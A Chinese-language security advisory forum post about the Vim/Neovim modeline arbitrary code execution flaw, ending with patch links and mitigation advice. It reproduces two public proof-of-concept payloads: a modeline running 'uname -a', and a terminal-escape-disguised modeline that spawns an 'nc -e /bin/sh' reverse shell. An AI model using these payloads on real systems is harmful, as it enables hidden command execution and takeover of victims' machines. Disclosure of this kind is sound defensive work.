本帖最后由 某公司_智安全 于 2019-6-13 13:10 编辑
Vim编辑器在8.1.1365和Neovim 0.3.6 之前版本存在严重的代码执行漏洞,当通过Vim编辑器打开特殊构造的文件,且Vim编辑器的ModelLine被启用,就会触发本地文件代码执行漏洞。虽然此漏洞是本地漏洞,如若结合社会工程学的方式进行攻击,危害不容小觑,容易造成重要敏感信息泄露,甚至会导致服务器被攻击者控制。
漏洞名称:Vim编辑器本地代码执行漏洞 威胁等级:严重 影响范围:Vim 8.1.1365 之前版本受影响,Neovim 0.3.6 之前版本受影响 漏洞类型:代码执行漏洞 利用难度:较难
千里百科 - Vim介绍 Vim是一款功能强大,扩展性高的文本编辑器,因其在代码补全与代码编译方面有着突出的优势,而被Unix/Linux平台的程序开发人员广泛使用。
Vim 8.1.1365之前版本与Neovim 0.3.6 之前版本因在命令行功能中允许在文件的开头或结尾附近指定自定义编辑器选项。默认启用并适用于所有文件类型,从而导致:source! 命令可用于绕过沙箱限制。从既定文件中读取并执行命令,因此可以轻松构建在沙箱外允许运行代码的模式行。目前Arminius 在GitHub 上公开了该漏洞Poc。
漏洞利用姿势一:
通过构造特殊PoC文件,在modeline被启用的情况下,使用对应版本的Vim编辑器中执行PoC文件,触发文件中的命令代码来执行系统命令。
1、被公开的相应PoC代码如下:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
2、可以看出,文件poc.txt中的“uname -a”代码命令被执行成功。效果如下:
(图1) 3.2、漏洞利用姿势二:
通过构造特殊PoC文件,在modeline被启用的情况下,使用对应版本的Vim编辑器中执行PoC文件,触发本地PoC文件中的“nohup nc 127.0.0.1 9999 -e /bin/sh &”代码命令,执行shell反弹命令,从而导致服务器被控制。
1、被公开的相应PoC代码如下:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
2、可以看出,文件Shell.txt中的“nohup nc 127.0.0.1 9999 -e /bin/sh &” 代码命令被执行成功。效果如下: (图2)
3、Neovim的nvim_input() 函数同样可以被构造进行本地命令执行,构造方式与 Vim编辑器方式类似,在此不做过多赘述。
目前受影响的软件版本:
1,Vim 8.1.1365 之前版本受影响
2,Neovim 0.3.6 之前版本受影响
安装Vim团队和Neovim团队发布的安全更新补丁或按照厂商建议进行漏洞防范:
Vim安全补丁下载地址:
https://github.com/vim/vim/commit/5357552
Neovim安全补丁下载地址:
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
温馨提示:在打完补丁之后,建议禁用ModelLine,如确实需要,可使用Securemodelines进行代替。 |